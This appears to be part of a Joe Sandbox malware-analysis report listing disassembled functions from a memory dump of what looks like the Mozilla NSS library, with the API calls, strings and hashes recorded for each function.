Opcode ID: f614fe683049d851dec13fe8eb8ffca8c78a67e28fae1a55eaadddec62cb06cb
Instruction ID: 84f36f3a32c9966ca3cbd02cc87a377571484d98f73ab0ad3c5b345fe464149f
Opcode Fuzzy Hash: f614fe683049d851dec13fe8eb8ffca8c78a67e28fae1a55eaadddec62cb06cb
Instruction Fuzzy Hash: EF614DB1900706AFD710DF75D844A67BBF8FF49308B04452AE85AD7B51E730E825CBA9

Function 6C5B3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C5B4014

Part of subcall function 6C5B39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C5B5E6F,?), ref: 6C5B3A08
Part of subcall function 6C5B39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C5B5E6F), ref: 6C5B3A1C
Part of subcall function 6C5B39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C5B4038

Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C5B404D

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C6CA0F4), ref: 6C5B40C2

Part of subcall function 6C5FF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C5FF0C8
Part of subcall function 6C5FF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5FF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C5B409A

Part of subcall function 6C5FBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C5AE708,00000000,00000000,00000004,00000000), ref: 6C5FBE6A
Part of subcall function 6C5FBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5B04DC,?), ref: 6C5FBE7E
Part of subcall function 6C5FBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C5FBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5B40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5B40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5B4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C5B411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C5B4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C5B4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C6CA1C8), ref: 6C5B417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C5B4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C5B41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5B41B2
PK11_DestroyObject.NSS3(?,?), ref: 6C5B41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5B41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C6CA1A8), ref: 6C5B422D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 1a90ce871c7a6109a95e4731e4f57b0548c1f21476a08ef67bd95c6d173330b3
Instruction ID: ebcbfd236f26812b4d2b3a180a7dbe7416d17fb627779044a6586413a1b7b636
Opcode Fuzzy Hash: 1a90ce871c7a6109a95e4731e4f57b0548c1f21476a08ef67bd95c6d173330b3
Instruction Fuzzy Hash: 12510AB5F00300ABF7249B259C51B677ADCDF9124CF044918ED6AE6F82FB31D908C666

Function 6C5F8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C5F8E01,00000000,6C5F9060,6C700B64), ref: 6C5F8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C5F8E01,00000000,6C5F9060,6C700B64), ref: 6C5F8E9E
PORT_ArenaAlloc_Util.NSS3(6C700B64,00000001,?,?,?,?,6C5F8E01,00000000,6C5F9060,6C700B64), ref: 6C5F8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C5F8E01,00000000,6C5F9060,6C700B64), ref: 6C5F8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C5F8E01,00000000,6C5F9060,6C700B64), ref: 6C5F8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C5F8E01,00000000,6C5F9060,6C700B64), ref: 6C5F8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C5F8E01), ref: 6C5F8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C700B64,6C700B64), ref: 6C5F8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C5F8F3F

Part of subcall function 6C5FA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C5FA421,00000000,00000000,6C5F9826), ref: 6C5FA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5F904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C5F8E76

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 0f45e86c31b8d3e636051ff1a2b3560a79e00d792097b40ec99e2fb8a20bc049
Instruction ID: 14d8bbddb63b341c66709fb5f76b85827c01dc570b6cd5b4ce18d64d5bd552bc
Opcode Fuzzy Hash: 0f45e86c31b8d3e636051ff1a2b3560a79e00d792097b40ec99e2fb8a20bc049
Instruction Fuzzy Hash: 0C6191B5E001069FDB14CF56CC80AABB7B9EF85358F144528DD29A7700E732A916CFA5

Function 6C5A8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5A8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C5A8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5A8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C6D18D0,?), ref: 6C5A8F03
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5A8F19
PL_FreeArenaPool.NSS3(?), ref: 6C5A8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5A8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5A8F65
PL_FinishArenaPool.NSS3(?), ref: 6C5A8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C5A8FFE
PR_CallOnce.NSS3(6C702AA4,6C6012D0), ref: 6C5A9012
PL_FreeArenaPool.NSS3(?), ref: 6C5A9024
PL_FinishArenaPool.NSS3(?), ref: 6C5A902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C5A903E

Strings

security, xrefs: 6C5A8EE7

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 8e9cc2bcf41031ebc019629a27df8314121d0be09426188744574dcf1398468c
Instruction ID: cfa52762f4ce349c662f0abf17233bbc9d650ac10e3ffb8c8de6b471a94c318c
Opcode Fuzzy Hash: 8e9cc2bcf41031ebc019629a27df8314121d0be09426188744574dcf1398468c
Instruction Fuzzy Hash: F55149B1608240EBD7149A969C41BAF73E8AF8635CF44082EF95597B40D731D90AC75B

Function 6C66CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C66CC7B), ref: 6C66CD7A

Part of subcall function 6C66CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C5DC1A8,?), ref: 6C66CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C66CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C66CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C66CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C66CD8E

Part of subcall function 6C5905C0: PR_EnterMonitor.NSS3 ref: 6C5905D1
Part of subcall function 6C5905C0: PR_ExitMonitor.NSS3 ref: 6C5905EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C66CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C66CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C66CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C66CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C66CE48

Strings

getnameinfo, xrefs: 6C66CDB2, 6C66CE23
ws2_32.dll, xrefs: 6C66CD75
freeaddrinfo, xrefs: 6C66CD9F, 6C66CE10
getaddrinfo, xrefs: 6C66CD88, 6C66CDF9
wship6.dll, xrefs: 6C66CDE3

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: f1a92cc2ed85dd1bfbb2b526f166a4cf9c9f64a83f3a2b456f54731867912615
Instruction ID: 59833a5ebfbcefb95dc28fd1132b9e10c1bc3da33af6fe27e9681475176f7119
Opcode Fuzzy Hash: f1a92cc2ed85dd1bfbb2b526f166a4cf9c9f64a83f3a2b456f54731867912615
Instruction Fuzzy Hash: FC11A2F5E1396163DB0166766C009AE39E85B8225CB184939D807D2E01FF22E9498BEF

Function 6C6B1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C6B13BC,?,?,?,6C6B1193), ref: 6C6B1C6B
PR_NewLock.NSS3(?,6C6B1193), ref: 6C6B1C7E

Part of subcall function 6C6698D0: calloc.MOZGLUE(00000001,00000084,6C590936,00000001,?,6C59102C), ref: 6C6698E5

PR_NewCondVar.NSS3(00000000,?,6C6B1193), ref: 6C6B1C91

Part of subcall function 6C58BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C5921BC), ref: 6C58BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C6B1193), ref: 6C6B1CA7

Part of subcall function 6C58BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C58BBEB
Part of subcall function 6C58BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C58BBFB
Part of subcall function 6C58BB80: GetLastError.KERNEL32 ref: 6C58BC03
Part of subcall function 6C58BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C58BC19
Part of subcall function 6C58BB80: free.MOZGLUE(00000000), ref: 6C58BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C6B1193), ref: 6C6B1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C6B1193), ref: 6C6B1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C6B1193), ref: 6C6B1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C6B1193), ref: 6C6B1D1A

Part of subcall function 6C669BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C591A48), ref: 6C669BB3
Part of subcall function 6C669BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C591A48), ref: 6C669BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C6B1193), ref: 6C6B1D3D

Part of subcall function 6C64DD70: TlsGetValue.KERNEL32 ref: 6C64DD8C
Part of subcall function 6C64DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C6B1193), ref: 6C6B1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C6B1193), ref: 6C6B1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C6B1193), ref: 6C6B1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C6B1193), ref: 6C6B1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C6B1193), ref: 6C6B1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C6B1193), ref: 6C6B1D93
PR_DestroyLock.NSS3(00000000,?,?,6C6B1193), ref: 6C6B1D9F
free.MOZGLUE(00000000,?,6C6B1193), ref: 6C6B1DA8

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 473a42908e20131b6a369ea4c627d3b2e3d086471242e62c9c30659d3ba1ac09
Instruction ID: 9da3f0454cfda178375c2159c163ccd267f6f2899f73f09db4693f8fc48224c5
Opcode Fuzzy Hash: 473a42908e20131b6a369ea4c627d3b2e3d086471242e62c9c30659d3ba1ac09
Instruction Fuzzy Hash: 4931E9F1E00701ABEB209F25AC41A9776F8EF4174DF044439E84A97B51FB71E818CB9A

Function 6C5C5E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5C5ECF
EnterCriticalSection.KERNEL32(?), ref: 6C5C5EE3
PR_Unlock.NSS3(?), ref: 6C5C5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C5C5FB5

Strings

S&^l, xrefs: 6C5C62E3
S&^l, xrefs: 6C5C5E6C, 6C5C627F, 6C5C5F12
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C5C61F4

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&^l$S&^l
API String ID: 2280678669-3530093371
Opcode ID: cea932549119ecfa9efe5f205fbb22791f2d60b8eaf5a06ddae13c5d1e7ff60f
Instruction ID: 3a7ed4e557d13b3b1a1951a5f2e4018be67c2d5d7641cce8259185e7e4153f1d
Opcode Fuzzy Hash: cea932549119ecfa9efe5f205fbb22791f2d60b8eaf5a06ddae13c5d1e7ff60f
Instruction Fuzzy Hash: 2DF115B4A00215CFDB44CF58C884B96BBF4FF49304F5482AAD9089B746E7B4EA85CF91

Function 6C610C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,al), ref: 6C610C81

Part of subcall function 6C5FBE30: SECOID_FindOID_Util.NSS3(6C5B311B,00000000,?,6C5B311B,?), ref: 6C5FBE44

Part of subcall function 6C5E8500: SECOID_GetAlgorithmTag_Util.NSS3(6C5E95DC,00000000,00000000,00000000,?,6C5E95DC,00000000,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5E8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C610CC4

Part of subcall function 6C5FFAB0: free.MOZGLUE(?,-00000001,?,?,6C59F673,00000000,00000000), ref: 6C5FFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C610CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C610D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C610D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C610D7D
free.MOZGLUE(00000000), ref: 6C610DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C610DC1
free.MOZGLUE(00000000), ref: 6C610DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C610E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C610E0F

Part of subcall function 6C5E95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5E95E0
Part of subcall function 6C5E95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C5C7F4A,00000000,?,00000000,00000000), ref: 6C5E95F5
Part of subcall function 6C5E95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C5E9609
Part of subcall function 6C5E95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5E961D
Part of subcall function 6C5E95C0: PK11_GetInternalSlot.NSS3 ref: 6C5E970B
Part of subcall function 6C5E95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C5E9756
Part of subcall function 6C5E95C0: PK11_GetIVLength.NSS3(?), ref: 6C5E9767
Part of subcall function 6C5E95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C5E977E
Part of subcall function 6C5E95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5E978E

Strings

-$al, xrefs: 6C610C64
*,al, xrefs: 6C610C69, 6C610DE0, 6C610C80, 6C610C8B, 6C610CAF
*,al, xrefs: 6C610DCC

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,al$*,al$-$al
API String ID: 3136566230-3270327906
Opcode ID: 726f32e5662f7fb20380f2bdbba6dc4993cfe432192d9c0456e712f0674d3b53
Instruction ID: 09e55e3f999a3198077b2942e379939c55e74850449a2c12db6195549ce9a2aa
Opcode Fuzzy Hash: 726f32e5662f7fb20380f2bdbba6dc4993cfe432192d9c0456e712f0674d3b53
Instruction Fuzzy Hash: B541E3B1D00245ABEF009F69DC41BEF7AB4EF45309F104128E91567B41EB35EA24CBEA

Function 6C605CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C605EC0,00000000,?,?), ref: 6C605CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C605CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C605CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C605D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C605EC0,00000000,?,?), ref: 6C605D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C605D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C605D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C605D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C605D80

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C605D1A
dbm:, xrefs: 6C605D03, 6C605D60
multiaccess:, xrefs: 6C605CB8
extern:, xrefs: 6C605CEA, 6C605D4B
sql:, xrefs: 6C605CD1, 6C605D36

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 91168699cae63555dd79ef7ea98d1cff2385ea05458685021bc3054d48b5b275
Instruction ID: 551302a9afaa8da1c6f07d031e913bfc422e22ac0ee674ee0964feb87047b8a0
Opcode Fuzzy Hash: 91168699cae63555dd79ef7ea98d1cff2385ea05458685021bc3054d48b5b275
Instruction Fuzzy Hash: ED3149B07023126BFB101A259D8CB6737E9AF02348F100433ED66F6AC2E771D401C65D

Function 6C606CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C6D1DE0,?), ref: 6C606CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C606D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C606D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C606D82
DER_GetInteger_Util.NSS3(?), ref: 6C606DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C606DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C606E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C606F19
PK11_DigestBegin.NSS3(00000000), ref: 6C606F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C606F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C607011
PK11_FreeSymKey.NSS3(00000000), ref: 6C607033
free.MOZGLUE(?), ref: 6C60703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C607060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C607087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6070AF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
